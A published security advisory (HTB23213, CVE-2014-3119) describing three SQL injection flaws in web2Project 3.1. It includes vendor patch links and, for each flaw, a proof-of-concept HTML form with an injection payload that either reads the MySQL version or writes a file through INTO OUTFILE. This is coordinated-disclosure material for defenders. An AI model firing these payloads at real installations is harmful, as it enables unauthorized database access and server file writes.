Multiple SQL Injection Vulnerabilities in web2Project

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>]

Advisory ID: HTB23213
Product: web2Project 
Vendor: http://web2project.net
Vulnerable Version(s): 3.1 and probably prior
Tested Version: 3.1
Advisory Publication:  April 30, 2014  [without technical details]
Vendor Notification: April 30, 2014 
Vendor Patch: May 1, 2014 
Public Disclosure: June 18, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-3119
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
web2Project, which can be exploited to perform SQL Injection attacks and gain 
complete access to vulnerable website.


1) SQL Injection in web2Project: CVE-2014-3119


1.1 The vulnerability exists due to insufficient sanitization of the 
"search_string" HTTP POST parameter passed to "/index.php" script. A remote 
authenticated user with privileges to access "contacts" module can inject and 
execute arbitrary SQL commands in application’s database and e.g. create, alter 
and delete information, or gain unauthorized access to vulnerable website. 

The following exploitation example displays version of the MySQL Server:


<form action="http://[host]/index.php?m=contacts"; method="post" name="main">
<input type="hidden" name="search_string" value="'and(select 1 from(select 
count(*),concat((select version() from information_schema.tables limit 
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'">
<input type="submit" id="btn">
</form>


1.2 The vulnerability exists due to insufficient sanitization of the 
"updatekey" HTTP POST parameter passed to "/do_updatecontact.php". This can be 
exploited to manipulate SQL queries by injecting arbitrary SQL code. A remote 
unauthenticated attacker can inject and execute arbitrary SQL commands in 
application’s database and e.g. create, alter and delete information, or gain 
unauthorized access to vulnerable website.

The following exploitation example writes the word "immuniweb" into file 
"file.txt", depending on MySQL configuration and filesystem permissions:


<form action="http://[host]/do_updatecontact.php"; method="post" name="main">
<input type="hidden" name="updatekey" value="' UNION SELECT 'immuniweb' INTO 
OUTFILE 'file.txt' -- ">
<input type="submit" id="btn">
</form>


1.3 The vulnerability exists due to insufficient sanitization of the 
"updatekey" HTTP GET parameter passed to "/updatecontact.php" script. This can 
be exploited to manipulate SQL queries by injecting arbitrary SQL code. A 
remote unauthenticated attacker can inject and execute arbitrary SQL commands 
in application’s database and e.g. create, alter and delete information, or 
gain unauthorized access to vulnerable website.

The following exploitation example writes the word "immuniweb" info file 
"file.txt", depending on MySQL configuration and filesystem permissions:


<form action="http://[host]/updatecontact.php"; method="get" name="main">
<input type="hidden" name="updatekey" value="' UNION SELECT 'immuniweb' INTO 
OUTFILE 'file.txt' -- ">
<input type="submit" id="btn">
</form>


Successful exploitation of the vulnerabilities can grant an attacker 
unrestricted access to the website and its database.

-----------------------------------------------------------------------------------------------

Solution:

Apply vendor fixes:
https://github.com/web2project/web2project/commit/eead99b36f62a8222d9f3a913f1a2268200687ef
https://github.com/web2project/web2project/commit/ab5ba92a6aaf0435cd0b2132cf7f9b7b41575a28

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23213 - 
https://www.htbridge.com/advisory/HTB23213 - Multiple SQL Injection 
Vulnerabilities in web2Project.
[2] web2Project  - http://web2project.net/ - web2Project is a Free Open Source 
business-oriented Project Management System (PMS) built for the future.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.